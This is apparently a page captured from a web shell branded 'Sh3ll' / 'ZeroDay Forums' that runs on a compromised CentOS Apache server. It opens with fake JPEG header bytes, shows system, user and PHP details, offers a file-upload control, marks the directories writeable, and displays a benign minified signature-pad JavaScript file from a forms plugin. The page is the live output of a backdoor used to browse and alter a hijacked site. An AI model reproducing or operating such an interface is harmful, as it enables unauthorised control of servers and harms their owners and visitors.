����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/form/content/plugins/halfdata-green-forms/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/form/content/plugins/halfdata-green-forms/js/signature_pad.min.js
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.SignaturePad=e()}(this,function(){"use strict";function t(t,e,i){this.x=t,this.y=e,this.time=i||(new Date).getTime()}function e(t,e,i,n){this.startPoint=t,this.control1=e,this.control2=i,this.endPoint=n}function i(t,e){var n=this,o=e||{};this.velocityFilterWeight=o.velocityFilterWeight||.7,this.minWidth=o.minWidth||.5,this.maxWidth=o.maxWidth||2.5,this.throttle="throttle"in o?o.throttle:16,this.minDistance="minDistance"in o?o.minDistance:5,this.throttle?this._strokeMoveUpdate=function(t,e,i){var n,o,s,h=null,r=0;i||(i={});var a=function(){r=!1===i.leading?0:Date.now(),h=null,s=t.apply(n,o),h||(n=o=null)};return function(){var c=Date.now();r||!1!==i.leading||(r=c);var u=e-(c-r);return n=this,o=arguments,u<=0||u>e?(h&&(clearTimeout(h),h=null),r=c,s=t.apply(n,o),h||(n=o=null)):h||!1===i.trailing||(h=setTimeout(a,u)),s}}(i.prototype._strokeUpdate,this.throttle):this._strokeMoveUpdate=i.prototype._strokeUpdate,this.dotSize=o.dotSize||function(){return(this.minWidth+this.maxWidth)/2},this.penColor=o.penColor||"black",this.backgroundColor=o.backgroundColor||"rgba(0,0,0,0)",this.onBegin=o.onBegin,this.onEnd=o.onEnd,this._canvas=t,this._ctx=t.getContext("2d"),this.clear(),this._handleMouseDown=function(t){1===t.which&&(n._mouseButtonDown=!0,n._strokeBegin(t))},this._handleMouseMove=function(t){n._mouseButtonDown&&n._strokeMoveUpdate(t)},this._handleMouseUp=function(t){1===t.which&&n._mouseButtonDown&&(n._mouseButtonDown=!1,n._strokeEnd(t))},this._handleTouchStart=function(t){if(1===t.targetTouches.length){var e=t.changedTouches[0];n._strokeBegin(e)}},this._handleTouchMove=function(t){t.preventDefault();var e=t.targetTouches[0];n._strokeMoveUpdate(e)},this._handleTouchEnd=function(t){t.target===n._canvas&&(t.preventDefault(),n._strokeEnd(t))},this.on()}return t.prototype.velocityFrom=function(t){return this.time!==t.time?this.distanceTo(t)/(this.time-t.time):1},t.prototype.distanceTo=function(t){return Math.sqrt(Math.pow(this.x-t.x,2)+Math.pow(this.y-t.y,2))},t.prototype.equals=function(t){return this.x===t.x&&this.y===t.y&&this.time===t.time},e.prototype.length=function(){for(var t=0,e=void 0,i=void 0,n=0;n<=10;n+=1){var o=n/10,s=this._point(o,this.startPoint.x,this.control1.x,this.control2.x,this.endPoint.x),h=this._point(o,this.startPoint.y,this.control1.y,this.control2.y,this.endPoint.y);if(n>0){var r=s-e,a=h-i;t+=Math.sqrt(r*r+a*a)}e=s,i=h}return t},e.prototype._point=function(t,e,i,n,o){return e*(1-t)*(1-t)*(1-t)+3*i*(1-t)*(1-t)*t+3*n*(1-t)*t*t+o*t*t*t},i.prototype.clear=function(){var t=this._ctx,e=this._canvas;t.fillStyle=this.backgroundColor,t.clearRect(0,0,e.width,e.height),t.fillRect(0,0,e.width,e.height),this._data=[],this._reset(),this._isEmpty=!0},i.prototype.toDataURL=function(t){var e;return null==(e=this._crop())?"":e.toDataURL()},i.prototype.on=function(){this._handleMouseEvents(),this._handleTouchEvents()},i.prototype.off=function(){this._canvas.removeEventListener("mousedown",this._handleMouseDown),this._canvas.removeEventListener("mousemove",this._handleMouseMove),document.removeEventListener("mouseup",this._handleMouseUp),this._canvas.removeEventListener("touchstart",this._handleTouchStart),this._canvas.removeEventListener("touchmove",this._handleTouchMove),this._canvas.removeEventListener("touchend",this._handleTouchEnd)},i.prototype.isEmpty=function(){return this._isEmpty},i.prototype._strokeBegin=function(t){this._data.push([]),this._reset(),this._strokeUpdate(t),"function"==typeof this.onBegin&&this.onBegin(t)},i.prototype._strokeUpdate=function(t){var e=t.clientX,i=t.clientY,n=this._createPoint(e,i),o=this._data[this._data.length-1],s=o&&o[o.length-1],h=s&&n.distanceTo(s)<this.minDistance;if(!s||!h){var r=this._addPoint(n),a=r.curve,c=r.widths;a&&c&&this._drawCurve(a,c.start,c.end),this._data[this._data.length-1].push({x:n.x,y:n.y,time:n.time,color:this.penColor})}},i.prototype._strokeEnd=function(t){var e=this.points.length>2,i=this.points[0];if(!e&&i&&this._drawDot(i),i){var n=this._data[this._data.length-1],o=n[n.length-1];i.equals(o)||n.push({x:i.x,y:i.y,time:i.time,color:this.penColor})}"function"==typeof this.onEnd&&this.onEnd(t)},i.prototype._handleMouseEvents=function(){this._mouseButtonDown=!1,this._canvas.addEventListener("mousedown",this._handleMouseDown),this._canvas.addEventListener("mousemove",this._handleMouseMove),document.addEventListener("mouseup",this._handleMouseUp)},i.prototype._handleTouchEvents=function(){this._canvas.style.msTouchAction="none",this._canvas.style.touchAction="none",this._canvas.addEventListener("touchstart",this._handleTouchStart),this._canvas.addEventListener("touchmove",this._handleTouchMove),this._canvas.addEventListener("touchend",this._handleTouchEnd)},i.prototype._reset=function(){this.points=[],this._lastVelocity=0,this._lastWidth=(this.minWidth+this.maxWidth)/2,this._ctx.fillStyle=this.penColor},i.prototype._createPoint=function(e,i,n){var o=this._canvas.getBoundingClientRect();return new t(e-o.left,i-o.top,n||(new Date).getTime())},i.prototype._addPoint=function(t){var i=this.points;if(i.push(t),i.length>2){3===i.length&&i.unshift(i[0]);var n=this._calculateCurveControlPoints(i[0],i[1],i[2]).c2,o=this._calculateCurveControlPoints(i[1],i[2],i[3]).c1,s=new e(i[1],n,o,i[2]),h=this._calculateCurveWidths(s);return i.shift(),{curve:s,widths:h}}return{}},i.prototype._calculateCurveControlPoints=function(e,i,n){var o=e.x-i.x,s=e.y-i.y,h=i.x-n.x,r=i.y-n.y,a=(e.x+i.x)/2,c=(e.y+i.y)/2,u=(i.x+n.x)/2,l=(i.y+n.y)/2,d=Math.sqrt(o*o+s*s),p=Math.sqrt(h*h+r*r),_=p/(d+p),v=u+(a-u)*_,y=l+(c-l)*_,f=i.x-v,m=i.y-y;return{c1:new t(a+f,c+m),c2:new t(u+f,l+m)}},i.prototype._calculateCurveWidths=function(t){var e=t.startPoint,i=t.endPoint,n={start:null,end:null},o=this.velocityFilterWeight*i.velocityFrom(e)+(1-this.velocityFilterWeight)*this._lastVelocity,s=this._strokeWidth(o);return n.start=this._lastWidth,n.end=s,this._lastVelocity=o,this._lastWidth=s,n},i.prototype._strokeWidth=function(t){return Math.max(this.maxWidth/(t+1),this.minWidth)},i.prototype._drawPoint=function(t,e,i){var n=this._ctx;n.moveTo(t,e),n.arc(t,e,i,0,2*Math.PI,!1),this._isEmpty=!1},i.prototype._drawCurve=function(t,e,i){var n=this._ctx,o=i-e,s=Math.floor(t.length());n.beginPath();for(var h=0;h<s;h+=1){var r=h/s,a=r*r,c=a*r,u=1-r,l=u*u,d=l*u,p=d*t.startPoint.x;p+=3*l*r*t.control1.x,p+=3*u*a*t.control2.x,p+=c*t.endPoint.x;var _=d*t.startPoint.y;_+=3*l*r*t.control1.y,_+=3*u*a*t.control2.y,_+=c*t.endPoint.y;var v=e+c*o;this._drawPoint(p,_,v)}n.closePath(),n.fill()},i.prototype._drawDot=function(t){var e=this._ctx,i="function"==typeof this.dotSize?this.dotSize():this.dotSize;e.beginPath(),this._drawPoint(t.x,t.y,i),e.closePath(),e.fill()},i.prototype._crop=function(){var t=this._canvas,e=document.createElement("canvas"),i=e.getContext("2d");e.width=t.width,e.height=t.height,i.drawImage(t,0,0);var n,o,s,h=e.width,r=e.height,a={x:[],y:[]},c=i.getImageData(0,0,e.width,e.height);for(o=0;o<r;o++)for(n=0;n<h;n++)s=4*(o*h+n),c.data[s+3]>0&&(a.x.push(n),a.y.push(o));a.x.sort(function(t,e){return t-e}),a.y.sort(function(t,e){return t-e});var u=a.x.length-1;if(-1==u)return null;h=a.x[u]-a.x[0],r=a.y[u]-a.y[0];var l=i.getImageData(a.x[0],a.y[0],h,r);return e.width=h,e.height=r,i.putImageData(l,0,0),e},i});

ZeroDay Forums Mini